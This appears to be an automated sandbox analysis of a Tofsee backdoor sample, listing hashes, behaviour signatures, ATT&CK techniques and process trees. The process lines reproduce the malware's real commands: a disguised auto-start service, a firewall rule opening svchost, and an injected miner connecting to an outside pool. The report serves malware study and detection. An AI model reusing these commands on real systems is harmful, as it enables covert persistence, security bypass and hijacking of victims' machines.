Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    15-11-2020 23:13

General

  • Target

    967692708e762fda8ecb0b971aa06e33bca0b9d97b22ac7ffe8297df40a136dd.exe

  • Size

    13.0MB

  • MD5

    3c0f80a2feb1ba9cf781686c98dd6682

  • SHA1

    d0960adb4d7be498b72089a880b94ed305b9d99c

  • SHA256

    967692708e762fda8ecb0b971aa06e33bca0b9d97b22ac7ffe8297df40a136dd

  • SHA512

    b8beac88f8722f818e302b70afecf68268f8811b56c127011ac7cfe86692ec5f937f20c97c60fb0b9f2691588be5069540faf65bdd4c57e648e33a67f643587c

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\967692708e762fda8ecb0b971aa06e33bca0b9d97b22ac7ffe8297df40a136dd.exe
    "C:\Users\Admin\AppData\Local\Temp\967692708e762fda8ecb0b971aa06e33bca0b9d97b22ac7ffe8297df40a136dd.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4696
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pzpmboxg\
      2⤵
        PID:1840
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kmhypjqj.exe" C:\Windows\SysWOW64\pzpmboxg\
        2⤵
          PID:3696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pzpmboxg binPath= "C:\Windows\SysWOW64\pzpmboxg\kmhypjqj.exe /d\"C:\Users\Admin\AppData\Local\Temp\967692708e762fda8ecb0b971aa06e33bca0b9d97b22ac7ffe8297df40a136dd.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:736
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description pzpmboxg "wifi internet conection"
            2⤵
              PID:3168
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start pzpmboxg
              2⤵
                PID:3180
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:4348
              • C:\Windows\SysWOW64\pzpmboxg\kmhypjqj.exe
                C:\Windows\SysWOW64\pzpmboxg\kmhypjqj.exe /d"C:\Users\Admin\AppData\Local\Temp\967692708e762fda8ecb0b971aa06e33bca0b9d97b22ac7ffe8297df40a136dd.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4252
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:512
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1296

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              2
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              3
              T1112

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\kmhypjqj.exe
                MD5

                23733e4790312c3708d8baaf630593c6

                SHA1

                94fce173d4ab36c5f1f069e70e4d034c378e2e43

                SHA256

                ed8d1bea404fa6f6b67ce0ab93c064b333d66ffe84fe3e7e7ec8ecfe4b6fb671

                SHA512

                fedc8d8e2d657a5360c1d859778cb71839dc7335887a9dfcb62c11cdfc5be22073d98e782c3d6e9cc27fe91506778af81d54f88eeee760531f64887bab7476b4

              • C:\Windows\SysWOW64\pzpmboxg\kmhypjqj.exe
                MD5

                23733e4790312c3708d8baaf630593c6

                SHA1

                94fce173d4ab36c5f1f069e70e4d034c378e2e43

                SHA256

                ed8d1bea404fa6f6b67ce0ab93c064b333d66ffe84fe3e7e7ec8ecfe4b6fb671

                SHA512

                fedc8d8e2d657a5360c1d859778cb71839dc7335887a9dfcb62c11cdfc5be22073d98e782c3d6e9cc27fe91506778af81d54f88eeee760531f64887bab7476b4

              • memory/512-13-0x0000000000D50000-0x0000000000D60000-memory.dmp
                Filesize

                64KB

              • memory/512-12-0x00000000009E0000-0x00000000009E6000-memory.dmp
                Filesize

                24KB

              • memory/512-16-0x0000000000DD0000-0x0000000000DD7000-memory.dmp
                Filesize

                28KB

              • memory/512-15-0x0000000009150000-0x000000000955B000-memory.dmp
                Filesize

                4.0MB

              • memory/512-7-0x00000000009B0000-0x00000000009C5000-memory.dmp
                Filesize

                84KB

              • memory/512-8-0x00000000009B9A6B-mapping.dmp
              • memory/512-14-0x0000000000D60000-0x0000000000D65000-memory.dmp
                Filesize

                20KB

              • memory/512-11-0x0000000004990000-0x0000000004B9F000-memory.dmp
                Filesize

                2.1MB

              • memory/736-3-0x0000000000000000-mapping.dmp
              • memory/1296-19-0x000000000330259C-mapping.dmp
              • memory/1296-17-0x0000000003270000-0x0000000003361000-memory.dmp
                Filesize

                964KB

              • memory/1840-0-0x0000000000000000-mapping.dmp
              • memory/3168-4-0x0000000000000000-mapping.dmp
              • memory/3180-5-0x0000000000000000-mapping.dmp
              • memory/3696-1-0x0000000000000000-mapping.dmp
              • memory/4348-10-0x0000000000000000-mapping.dmp